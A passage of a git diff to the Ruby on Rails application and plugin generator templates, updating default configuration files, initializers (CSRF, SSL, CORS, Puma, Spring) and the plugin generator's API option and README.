a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml index feb25bbc6b..bd5c0b10f6 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml +++ b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml @@ -1,4 +1,4 @@ -# PostgreSQL. Versions 8.2 and up are supported. +# PostgreSQL. Versions 9.1 and up are supported. # # Install the pg driver: # gem install pg @@ -19,7 +19,7 @@ default: &default encoding: unicode # For details on connection pooling, see rails configuration guide # http://guides.rubyonrails.org/configuring.html#database-pooling - pool: 5 + pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %> development: <<: *default diff --git a/railties/lib/rails/generators/rails/app/templates/config/environment.rb b/railties/lib/rails/generators/rails/app/templates/config/environment.rb index ee8d90dc65..426333bb46 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/environment.rb +++ b/railties/lib/rails/generators/rails/app/templates/config/environment.rb @@ -1,5 +1,5 @@ # Load the Rails application. -require File.expand_path('../application', __FILE__) +require_relative 'application' # Initialize the Rails application. Rails.application.initialize! diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt index ecb5d4170f..7a537610e9 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt +++ b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt @@ -9,13 +9,28 @@ Rails.application.configure do # Do not eager load code on boot. config.eager_load = false - # Show full error reports and disable caching. - config.consider_all_requests_local = true - config.action_controller.perform_caching = false + # Show full error reports. + config.consider_all_requests_local = true + + # Enable/disable caching. By default caching is disabled. + if Rails.root.join('tmp/caching-dev.txt').exist? + config.action_controller.perform_caching = true + + config.cache_store = :memory_store + config.public_file_server.headers = { + 'Cache-Control' => 'public, max-age=172800' + } + else + config.action_controller.perform_caching = false + + config.cache_store = :null_store + end <%- unless options.skip_action_mailer? -%> # Don't care if the mailer can't send. config.action_mailer.raise_delivery_errors = false + + config.action_mailer.perform_caching = false <%- end -%> # Print deprecation notices to the Rails logger. @@ -31,17 +46,12 @@ Rails.application.configure do # This option may cause significant delays in view rendering with a large # number of complex assets. config.assets.debug = true - - # Asset digests allow you to set far-future HTTP expiration dates on all assets, - # yet still be able to expire them through the digest params. - config.assets.digest = true - - # Adds additional error checking when serving assets at runtime. - # Checks for improperly declared sprockets dependencies. - # Raises helpful error messages. - config.assets.raise_runtime_errors = true <%- end -%> # Raises error for missing translations # config.action_view.raise_on_missing_translations = true + + # Use an evented file watcher to asynchronously detect changes in source code, + # routes, locales, etc. This feature depends on the listen gem. + <%= '# ' unless depend_on_listen? %>config.file_watcher = ActiveSupport::EventedFileUpdateChecker end diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt index 8c09396fc1..6bd5e42251 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt +++ b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt @@ -16,7 +16,7 @@ Rails.application.configure do # Disable serving static files from the `/public` folder by default since # Apache or NGINX already handles this. - config.serve_static_files = ENV['RAILS_SERVE_STATIC_FILES'].present? + config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present? <%- unless options.skip_sprockets? -%> # Compress JavaScripts and CSS. @@ -26,10 +26,6 @@ Rails.application.configure do # Do not fallback to assets pipeline if a precompiled asset is missed. config.assets.compile = false - # Asset digests allow you to set far-future HTTP expiration dates on all assets, - # yet still be able to expire them through the digest params. - config.assets.digest = true - # `config.assets.precompile` and `config.assets.version` have moved to config/initializers/assets.rb <%- end -%> @@ -40,6 +36,15 @@ Rails.application.configure do # config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX + <%- unless options[:skip_action_cable] -%> + # Action Cable endpoint configuration + # config.action_cable.url = 'wss://example.com/cable' + # config.action_cable.allowed_request_origins = [ 'http://example.com', /http:\/\/example.*/ ] + + # Don't mount Action Cable in the main server process. + # config.action_cable.mount_path = nil + <%- end -%> + # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. # config.force_ssl = true @@ -48,10 +53,7 @@ Rails.application.configure do config.log_level = :debug # Prepend all log lines with the following tags. - # config.log_tags = [ :subdomain, :request_id ] - - # Use a different logger for distributed setups. - # config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new) + config.log_tags = [ :request_id ] # Use a different cache store in production. # config.cache_store = :mem_cache_store @@ -60,6 +62,7 @@ Rails.application.configure do # config.active_job.queue_adapter = :resque # config.active_job.queue_name_prefix = "<%= app_name %>_#{Rails.env}" <%- unless options.skip_action_mailer? -%> + config.action_mailer.perform_caching = false # Ignore bad email addresses and do not raise email delivery errors. # Set this to true and configure the email server for immediate delivery to raise delivery errors. @@ -75,6 +78,16 @@ Rails.application.configure do # Use default logging formatter so that PID and timestamp are not suppressed. config.log_formatter = ::Logger::Formatter.new + + # Use a different logger for distributed setups. + # require 'syslog/logger' + # config.logger = ActiveSupport::TaggedLogging.new(Syslog::Logger.new 'app-name') + + if ENV["RAILS_LOG_TO_STDOUT"].present? + logger = ActiveSupport::Logger.new(STDOUT) + logger.formatter = config.log_formatter + config.logger = ActiveSupport::TaggedLogging.new(logger) + end <%- unless options.skip_active_record? -%> # Do not dump schema after migrations. diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt index 0306deb18c..42fee3b036 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt +++ b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt @@ -12,9 +12,11 @@ Rails.application.configure do # preloads Rails for running tests, you may have to set it to true. config.eager_load = false - # Configure static file server for tests with Cache-Control for performance. - config.serve_static_files = true - config.static_cache_control = 'public, max-age=3600' + # Configure public file server for tests with Cache-Control for performance. + config.public_file_server.enabled = true + config.public_file_server.headers = { + 'Cache-Control' => 'public, max-age=3600' + } # Show full error reports and disable caching. config.consider_all_requests_local = true @@ -26,6 +28,7 @@ Rails.application.configure do # Disable request forgery protection in test environment. config.action_controller.allow_forgery_protection = false <%- unless options.skip_action_mailer? -%> + config.action_mailer.perform_caching = false # Tell Action Mailer not to deliver emails to the real world. # The :test delivery method accumulates sent emails in the @@ -33,9 +36,6 @@ Rails.application.configure do config.action_mailer.delivery_method = :test <%- end -%> - # Randomize the order test cases are executed. - config.active_support.test_order = :random - # Print deprecation notices to the stderr. config.active_support.deprecation = :stderr diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/active_record_belongs_to_required_by_default.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/active_record_belongs_to_required_by_default.rb index 30c4f89792..f613b40f80 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/initializers/active_record_belongs_to_required_by_default.rb +++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/active_record_belongs_to_required_by_default.rb @@ -1,4 +1,6 @@ # Be sure to restart your server when you modify this file. -# Require `belongs_to` associations by default. +# Require `belongs_to` associations by default. This is a new Rails 5.0 +# default, so it is introduced as a configuration option to ensure that apps +# made on earlier versions of Rails are not affected when upgrading. Rails.application.config.active_record.belongs_to_required_by_default = true diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/application_controller_renderer.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/application_controller_renderer.rb index ea930f54da..51639b67a0 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/initializers/application_controller_renderer.rb +++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/application_controller_renderer.rb @@ -1,5 +1,5 @@ -## Change renderer defaults here. -# +# Be sure to restart your server when you modify this file. + # ApplicationController.renderer.defaults.merge!( # http_host: 'example.org', # https: false diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/callback_terminator.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/callback_terminator.rb index e63022da91..649e82280e 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/initializers/callback_terminator.rb +++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/callback_terminator.rb @@ -1,4 +1,6 @@ # Be sure to restart your server when you modify this file. -# Do not halt callback chains when a callback returns false. -Rails.application.config.active_support.halt_callback_chains_on_return_false = false +# Do not halt callback chains when a callback returns false. This is a new +# Rails 5.0 default, so it is introduced as a configuration option to ensure +# that apps made with earlier versions of Rails are not affected when upgrading. +ActiveSupport.halt_callback_chains_on_return_false = false diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb index 7f70458dee..5a6a32d371 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb +++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb @@ -1,3 +1,5 @@ # Be sure to restart your server when you modify this file. +# Specify a serializer for the signed and encrypted cookie jars. +# Valid options are :json, :marshal, and :hybrid. Rails.application.config.action_dispatch.cookies_serializer = :json diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/cors.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/cors.rb new file mode 100644 index 0000000000..3b1c1b5ed1 --- /dev/null +++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/cors.rb @@ -0,0 +1,16 @@ +# Be sure to restart your server when you modify this file. + +# Avoid CORS issues when API is called from the frontend app. +# Handle Cross-Origin Resource Sharing (CORS) in order to accept cross-origin AJAX requests. + +# Read more: https://github.com/cyu/rack-cors + +# Rails.application.config.middleware.insert_before 0, Rack::Cors do +# allow do +# origins 'example.com' +# +# resource '*', +# headers: :any, +# methods: [:get, :post, :put, :patch, :delete, :options, :head] +# end +# end diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/per_form_csrf_tokens.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/per_form_csrf_tokens.rb new file mode 100644 index 0000000000..1f569dedfd --- /dev/null +++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/per_form_csrf_tokens.rb @@ -0,0 +1,4 @@ +# Be sure to restart your server when you modify this file. + +# Enable per-form CSRF tokens. +Rails.application.config.action_controller.per_form_csrf_tokens = true diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/request_forgery_protection.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/request_forgery_protection.rb new file mode 100644 index 0000000000..3eab78a885 --- /dev/null +++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/request_forgery_protection.rb @@ -0,0 +1,4 @@ +# Be sure to restart your server when you modify this file. + +# Enable origin-checking CSRF mitigation. +Rails.application.config.action_controller.forgery_protection_origin_check = true diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/ssl_options.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/ssl_options.rb new file mode 100644 index 0000000000..1775dea1e7 --- /dev/null +++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/ssl_options.rb @@ -0,0 +1,4 @@ +# Be sure to restart your server when you modify this file. + +# Configure SSL options to enable HSTS with subdomains. +Rails.application.config.ssl_options = { hsts: { subdomains: true } } diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/to_time_preserves_timezone.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/to_time_preserves_timezone.rb new file mode 100644 index 0000000000..8674be3227 --- /dev/null +++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/to_time_preserves_timezone.rb @@ -0,0 +1,10 @@ +# Be sure to restart your server when you modify this file. + +# Preserve the timezone of the receiver when calling to `to_time`. +# Ruby 2.4 will change the behavior of `to_time` to preserve the timezone +# when converting to an instance of `Time` instead of the previous behavior +# of converting to the local system timezone. +# +# Rails 5.0 introduced this config option so that apps made with earlier +# versions of Rails are not affected when upgrading. +ActiveSupport.to_time_preserves_timezone = true diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt index 94f612c3dd..cadc85cfac 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt +++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt @@ -5,7 +5,7 @@ # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. ActiveSupport.on_load(:action_controller) do - wrap_parameters format: [:json] if respond_to?(:wrap_parameters) + wrap_parameters format: [:json] end <%- unless options.skip_active_record? -%> diff --git a/railties/lib/rails/generators/rails/app/templates/config/puma.rb b/railties/lib/rails/generators/rails/app/templates/config/puma.rb new file mode 100644 index 0000000000..c7f311f811 --- /dev/null +++ b/railties/lib/rails/generators/rails/app/templates/config/puma.rb @@ -0,0 +1,47 @@ +# Puma can serve each request in a thread from an internal thread pool. +# The `threads` method setting takes two numbers a minimum and maximum. +# Any libraries that use thread pools should be configured to match +# the maximum value specified for Puma. Default is set to 5 threads for minimum +# and maximum, this matches the default thread size of Active Record. +# +threads_count = ENV.fetch("RAILS_MAX_THREADS") { 5 }.to_i +threads threads_count, threads_count + +# Specifies the `port` that Puma will listen on to receive requests, default is 3000. +# +port ENV.fetch("PORT") { 3000 } + +# Specifies the `environment` that Puma will run in. +# +environment ENV.fetch("RAILS_ENV") { "development" } + +# Specifies the number of `workers` to boot in clustered mode. +# Workers are forked webserver processes. If using threads and workers together +# the concurrency of the application would be max `threads` * `workers`. +# Workers do not work on JRuby or Windows (both of which do not support +# processes). +# +# workers ENV.fetch("WEB_CONCURRENCY") { 2 } + +# Use the `preload_app!` method when specifying a `workers` number. +# This directive tells Puma to first boot the application and load code +# before forking the application. This takes advantage of Copy On Write +# process behavior so workers use less memory. If you use this option +# you need to make sure to reconnect any threads in the `on_worker_boot` +# block. +# +# preload_app! + +# The code in the `on_worker_boot` will be called if you are using +# clustered mode by specifying a number of `workers`. After each worker +# process is booted this block will be run, if you are using `preload_app!` +# option you will want to use this block to reconnect to any threads +# or connections that may have been created at application boot, Ruby +# cannot share connections between processes. +# +# on_worker_boot do +# ActiveRecord::Base.establish_connection if defined?(ActiveRecord) +# end + +# Allow puma to be restarted by `rails restart` command. +plugin :tmp_restart diff --git a/railties/lib/rails/generators/rails/app/templates/config/routes.rb b/railties/lib/rails/generators/rails/app/templates/config/routes.rb index 3f66539d54..787824f888 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/routes.rb +++ b/railties/lib/rails/generators/rails/app/templates/config/routes.rb @@ -1,56 +1,3 @@ Rails.application.routes.draw do - # The priority is based upon order of creation: first created -> highest priority. - # See how all your routes lay out with "rake routes". - - # You can have the root of your site routed with "root" - # root 'welcome#index' - - # Example of regular route: - # get 'products/:id' => 'catalog#view' - - # Example of named route that can be invoked with purchase_url(id: product.id) - # get 'products/:id/purchase' => 'catalog#purchase', as: :purchase - - # Example resource route (maps HTTP verbs to controller actions automatically): - # resources :products - - # Example resource route with options: - # resources :products do - # member do - # get 'short' - # post 'toggle' - # end - # - # collection do - # get 'sold' - # end - # end - - # Example resource route with sub-resources: - # resources :products do - # resources :comments, :sales - # resource :seller - # end - - # Example resource route with more complex sub-resources: - # resources :products do - # resources :comments - # resources :sales do - # get 'recent', on: :collection - # end - # end - - # Example resource route with concerns: - # concern :toggleable do - # post 'toggle' - # end - # resources :posts, concerns: :toggleable - # resources :photos, concerns: :toggleable - - # Example resource route within a namespace: - # namespace :admin do - # # Directs /admin/products/* to Admin::ProductsController - # # (app/controllers/admin/products_controller.rb) - # resources :products - # end + # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html end diff --git a/railties/lib/rails/generators/rails/app/templates/config/secrets.yml b/railties/lib/rails/generators/rails/app/templates/config/secrets.yml index b2669a0f79..cdea2fd060 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/secrets.yml +++ b/railties/lib/rails/generators/rails/app/templates/config/secrets.yml @@ -5,7 +5,7 @@ # Make sure the secret is at least 30 characters and all random, # no regular words or you'll be exposed to dictionary attacks. -# You can use `rake secret` to generate a secure secret key. +# You can use `rails secret` to generate a secure secret key. # Make sure the secrets in this file are kept private # if you're sharing your code publicly. diff --git a/railties/lib/rails/generators/rails/app/templates/config/spring.rb b/railties/lib/rails/generators/rails/app/templates/config/spring.rb new file mode 100644 index 0000000000..c9119b40c0 --- /dev/null +++ b/railties/lib/rails/generators/rails/app/templates/config/spring.rb @@ -0,0 +1,6 @@ +%w( + .ruby-version + .rbenv-vars + tmp/restart.txt + tmp/caching-dev.txt +).each { |path| Spring.watch(path) } diff --git a/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt b/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt index 4edb1e857e..1beea2accd 100644 --- a/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt +++ b/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt @@ -1,7 +1,7 @@ # This file should contain all the record creation needed to seed the database with its default values. -# The data can then be loaded with the rake db:seed (or created alongside the db with db:setup). +# The data can then be loaded with the rails db:seed command (or created alongside the database with db:setup). # # Examples: # -# cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }]) -# Mayor.create(name: 'Emanuel', city: cities.first) +# movies = Movie.create([{ name: 'Star Wars' }, { name: 'Lord of the Rings' }]) +# Character.create(name: 'Luke', movie: movies.first) diff --git a/railties/lib/rails/generators/rails/app/templates/gitignore b/railties/lib/rails/generators/rails/app/templates/gitignore index 7c6f2098b8..0e66cc4237 100644 --- a/railties/lib/rails/generators/rails/app/templates/gitignore +++ b/railties/lib/rails/generators/rails/app/templates/gitignore @@ -15,5 +15,11 @@ <% end -%> # Ignore all logfiles and tempfiles. /log/* +/tmp/* +<% if keeps? -%> !/log/.keep -/tmp +!/tmp/.keep +<% end -%> + +# Ignore Byebug command history file. +.byebug_history diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/models/.empty_directory b/railties/lib/rails/generators/rails/app/templates/public/apple-touch-icon-precomposed.png index e69de29bb2..e69de29bb2 100644 --- a/railties/lib/rails/generators/rails/plugin/templates/app/models/.empty_directory +++ b/railties/lib/rails/generators/rails/app/templates/public/apple-touch-icon-precomposed.png diff --git a/railties/lib/rails/generators/rails/app/templates/public/apple-touch-icon.png b/railties/lib/rails/generators/rails/app/templates/public/apple-touch-icon.png new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/lib/rails/generators/rails/app/templates/public/apple-touch-icon.png diff --git a/railties/lib/rails/generators/rails/controller/controller_generator.rb b/railties/lib/rails/generators/rails/controller/controller_generator.rb index df615c88b5..0a4c509a31 100644 --- a/railties/lib/rails/generators/rails/controller/controller_generator.rb +++ b/railties/lib/rails/generators/rails/controller/controller_generator.rb @@ -13,12 +13,14 @@ module Rails def add_routes unless options[:skip_routes] actions.reverse_each do |action| - route generate_routing_code(action) + # route prepends two spaces onto the front of the string that is passed, this corrects that. + route generate_routing_code(action)[2..-1] end end end - hook_for :template_engine, :test_framework, :helper, :assets + hook_for :template_engine, :test_framework + hook_for :helper, :assets, hide: true private @@ -36,12 +38,12 @@ module Rails # namespace :foo do # namespace :bar do namespace_ladder = regular_class_path.each_with_index.map do |ns, i| - indent("namespace :#{ns} do\n", i * 2) + indent(" namespace :#{ns} do\n", i * 2) end.join # Create route # get 'baz/index' - route = indent(%{get '#{file_name}/#{action}'\n}, depth * 2) + route = indent(%{ get '#{file_name}/#{action}'\n}, depth * 2) # Create `end` ladder # end diff --git a/railties/lib/rails/generators/rails/model/USAGE b/railties/lib/rails/generators/rails/model/USAGE index 11daa5c3cb..025bcf4774 100644 --- a/railties/lib/rails/generators/rails/model/USAGE +++ b/railties/lib/rails/generators/rails/model/USAGE @@ -8,14 +8,14 @@ Description: As a special case, specifying 'password:digest' will generate a password_digest field of string type, and configure your generated model and - tests for use with ActiveModel has_secure_password (assuming the default ORM + tests for use with Active Model has_secure_password (assuming the default ORM and test framework are being used). You don't have to think up every attribute up front, but it helps to sketch out a few so you can start working with the model immediately. This generator invokes your configured ORM and test framework, which - defaults to ActiveRecord and TestUnit. + defaults to Active Record and TestUnit. Finally, if --parent option is given, it's used as superclass of the created model. This allows you create Single Table Inheritance models. @@ -91,7 +91,7 @@ Available field types: Examples: `rails generate model account` - For ActiveRecord and TestUnit it creates: + For Active Record and TestUnit it creates: Model: app/models/account.rb Test: test/models/account_test.rb @@ -104,7 +104,7 @@ Examples: `rails generate model admin/account` - For ActiveRecord and TestUnit it creates: + For Active Record and TestUnit it creates: Module: app/models/admin.rb Model: app/models/admin/account.rb diff --git a/railties/lib/rails/generators/rails/plugin/plugin_generator.rb b/railties/lib/rails/generators/rails/plugin/plugin_generator.rb index 68c3829515..56efd35a95 100644 --- a/railties/lib/rails/generators/rails/plugin/plugin_generator.rb +++ b/railties/lib/rails/generators/rails/plugin/plugin_generator.rb @@ -8,7 +8,7 @@ module Rails # generator. # # This allows you to override entire operations, like the creation of the - # Gemfile, README, or JavaScript files, without needing to know exactly + # Gemfile, \README, or JavaScript files, without needing to know exactly # what those operations do so you can create another template action. class PluginBuilder def rakefile @@ -17,20 +17,27 @@ module Rails def app if mountable? - directory 'app' - empty_directory_with_keep_file "app/assets/images/#{namespaced_name}" + if api? + directory 'app', exclude_pattern: %r{app/(views|helpers)} + else + directory 'app' + empty_directory_with_keep_file "app/assets/images/#{namespaced_name}" + end elsif full? empty_directory_with_keep_file 'app/models' empty_directory_with_keep_file 'app/controllers' - empty_directory_with_keep_file 'app/views' - empty_directory_with_keep_file 'app/helpers' empty_directory_with_keep_file 'app/mailers' - empty_directory_with_keep_file "app/assets/images/#{namespaced_name}" + + unless api? + empty_directory_with_keep_file "app/assets/images/#{namespaced_name}" + empty_directory_with_keep_file 'app/helpers' + empty_directory_with_keep_file 'app/views' + end end end def readme - template "README.rdoc" + template "README.md" end def gemfile @@ -82,6 +89,8 @@ task default: :test opts = (options || {}).slice(*PASSTHROUGH_OPTIONS) opts[:force] = force opts[:skip_bundle] = true + opts[:api] = options.api? + opts[:skip_listen] = true invoke Rails::Generators::AppGenerator, [ File.expand_path(dummy_path, destination_root) ], opts @@ -96,8 +105,9 @@ task default: :test end def test_dummy_assets - template "rails/javascripts.js", "#{dummy_path}/app/assets/javascripts/application.js", force: true - template "rails/stylesheets.css", "#{dummy_path}/app/assets/stylesheets/application.css", force: true + template "rails/javascripts.js", "#{dummy_path}/app/assets/javascripts/application.js", force: true + template "rails/stylesheets.css", "#{dummy_path}/app/assets/stylesheets/application.css", force: true + template "rails/dummy_manifest.js", "#{dummy_path}/app/assets/config/manifest.js", force: true end def test_dummy_clean @@ -108,12 +118,16 @@ task default: :test remove_file "Gemfile" remove_file "lib/tasks" remove_file "public/robots.txt" - remove_file "README" + remove_file "README.md" remove_file "test" remove_file "vendor" end end + def assets_manifest + template "rails/engine_manifest.js", "app/assets/config/#{underscored_name}_manifest.js" + end + def stylesheets if mountable? copy_file "rails/stylesheets.css", @@ -135,9 +149,8 @@ task default: :test end def bin(force = false) - return unless engine? - - directory "bin", force: force do |content| + bin_file = engine? ? 'bin/rails.tt' : 'bin/test.tt' + template bin_file, force: force do |content| "#{shebang}\n" + content end chmod "bin", 0755, verbose: false @@ -176,6 +189,9 @@ task default: :test desc: "If creating plugin in application's directory " + "skip adding entry to Gemfile" + class_option :api, type: :boolean, default: false, + desc: "Generate a smaller stack for API application plugins" + def initialize(*args) @dummy_path = nil super @@ -209,16 +225,16 @@ task default: :test build(:lib) end - def create_public_stylesheets_files - build(:stylesheets) + def create_assets_manifest_file + build(:assets_manifest) if !api? && engine? end - def create_javascript_files - build(:javascripts) + def create_public_stylesheets_files + build(:stylesheets) unless api? end - def create_images_directory - build(:images) + def create_javascript_files + build(:javascripts) unless api? end def create_bin_files @@ -244,6 +260,12 @@ task default: :test public_task :apply_rails_template, :run_bundle + def run_after_bundle_callbacks + @after_bundle_callbacks.each do |callback| + callback.call + end + end + def name @name ||= begin # same as ActiveSupport::Inflector#underscore except not replacing '-' @@ -266,10 +288,6 @@ task default: :test protected - def app_templates_dir - "../../app/templates" - end - def create_dummy_app(path = nil) dummy_path(path) if path @@ -305,6 +323,10 @@ task default: :test options[:skip_test].blank? || options[:dummy_path] != 'test/dummy' end + def api? + options[:api] + end + def self.banner "rails plugin new #{self.arguments.map(&:usage).join(' ')} [options]" end @@ -318,7 +340,7 @@ task default: :test end def wrap_in_modules(unwrapped_code) - unwrapped_code = "#{unwrapped_code}".strip.gsub(/\W$\n/, '') + unwrapped_code = "#{unwrapped_code}".strip.gsub(/\s$\n/, '') modules.reverse.inject(unwrapped_code) do |content, mod| str = "module #{mod}\n" str += content.lines.map { |line| " #{line}" }.join @@ -364,7 +386,9 @@ task default: :test elsif camelized =~ /^\d/ raise Error, "Invalid plugin name #{original_name}. Please give a name which does not start with numbers." elsif RESERVED_NAMES.include?(name) - raise Error, "Invalid plugin name #{original_name}. Please give a name which does not match one of the reserved rails words." + raise Error, "Invalid plugin name #{original_name}. Please give a " \ + "name which does not match one of the reserved rails " \ + "words: #{RESERVED_NAMES.join(", ")}" elsif Object.const_defined?(camelized) raise Error, "Invalid plugin name #{original_name}, constant #{camelized} is already in use. Please choose another plugin name." end diff --git a/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec b/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec index f8ece4fe73..d84d1aabdb 100644 --- a/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec +++ b/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec @@ -14,14 +14,11 @@ Gem::Specification.new do |s| s.description = "TODO: Description of <%= camelized_modules %>." s.license = "MIT" - s.files = Dir["{app,config,db,lib}/**/*", "MIT-LICENSE", "Rakefile", "README.rdoc"] -<% unless options.skip_test? -%> - s.test_files = Dir["test/**/*"] -<% end -%> + s.files = Dir["{app,config,db,lib}/**/*", "MIT-LICENSE", "Rakefile", "README.md"] - <%= '# ' if options.dev? || options.edge? -%>s.add_dependency "rails", "~> <%= Rails::VERSION::STRING %>" + <%= '# ' if options.dev? || options.edge? -%>s.add_dependency "rails", "<%= Array(rails_version_specifier).join('", "') %>" <% unless options[:skip_active_record] -%> - s.add_development_dependency "<%= gem_for_database %>" + s.add_development_dependency "<%= gem_for_database[0] %>" <% end -%> end diff --git a/railties/lib/rails/generators/rails/plugin/templates/Gemfile b/railties/lib/rails/generators/rails/plugin/templates/Gemfile index 2c91c6a0ea..22a4548ff2 100644 --- a/railties/lib/rails/generators/rails/plugin/templates/Gemfile +++ b/railties/lib/rails/generators/rails/plugin/templates/Gemfile @@ -1,7 +1,7 @@ source 'https://rubygems.org' <% if options[:skip_gemspec] -%> -<%= '# ' if options.dev? || options.edge? -%>gem 'rails', '~> <%= Rails::VERSION::STRING %>' +<%= '# ' if options.dev? || options.edge? -%>gem 'rails', '<%= Array(rails_version_specifier).join("', '") %>' <% else -%> # Declare your gem's dependencies in <%= name %>.gemspec. # Bundler will treat runtime dependencies like base dependencies, and @@ -11,7 +11,7 @@ gemspec <% if options[:skip_gemspec] -%> group :development do - gem '<%= gem_for_database %>' + gem '<%= gem_for_database[0] %>' end <% else -%> # Declare any dependencies that are still in development here instead of in diff --git a/railties/lib/rails/generators/rails/plugin/templates/README.md b/railties/lib/rails/generators/rails/plugin/templates/README.md new file mode 100644 index 0000000000..9d2b74416e --- /dev/null +++ b/railties/lib/rails/generators/rails/plugin/templates/README.md @@ -0,0 +1,28 @@ +# <%= camelized_modules %> +Short description and motivation. + +## Usage +How to use my plugin. + +## Installation +Add this line to your application's Gemfile: + +```ruby +gem '<%= name %>' +``` + +And then execute: +```bash +$ bundle +``` + +Or install it yourself as: +```bash +$ gem install <%= name %> +``` + +## Contributing +Contribution directions go here. + +## License +The gem is available as open source under the terms of the [MIT License](http://opensource.org/licenses/MIT). diff --git a/railties/lib/rails/generators/rails/plugin/templates/README.rdoc b/railties/lib/rails/generators/rails/plugin/templates/README.rdoc deleted file mode 100644 index 25983ca5da..0000000000 --- a/railties/lib/rails/generators/rails/plugin/templates/README.rdoc +++ /dev/null @@ -1,3 +0,0 @@ -= <%= camelized_modules %> - -This project rocks and uses MIT-LICENSE.
\ No newline at end of file diff --git a/railties/lib/rails/generators/rails/plugin/templates/Rakefile b/railties/lib/rails/generators/rails/plugin/templates/Rakefile index bda55bae29..383d2fb2d1 100644 --- a/railties/lib/rails/generators/rails/plugin/templates/Rakefile +++ b/railties/lib/rails/generators/rails/plugin/templates/Rakefile @@ -10,7 +10,7 @@ RDoc::Task.new(:rdoc) do |rdoc| rdoc.rdoc_dir = 'rdoc' rdoc.title = '<%= camelized_modules %>' rdoc.options << '--line-numbers' - rdoc.rdoc_files.include('README.rdoc') + rdoc.rdoc_files.include('README.md') rdoc.rdoc_files.include('lib/**/*.rb') end @@ -25,5 +25,5 @@ load 'rails/tasks/statistics.rake' <% unless options[:skip_gemspec] -%> -Bundler::GemHelper.install_tasks +require 'bundler/gem_tasks' <% end %> diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/controllers/%namespaced_name%/application_controller.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/controllers/%namespaced_name%/application_controller.rb.tt index 7157e48c42..abbacd9bec 100644 --- a/railties/lib/rails/generators/rails/plugin/templates/app/controllers/%namespaced_name%/application_controller.rb.tt +++ b/railties/lib/rails/generators/rails/plugin/templates/app/controllers/%namespaced_name%/application_controller.rb.tt @@ -1,5 +1,6 @@ <%= wrap_in_modules <<-rb.strip_heredoc - class ApplicationController < ActionController::Base + class ApplicationController < 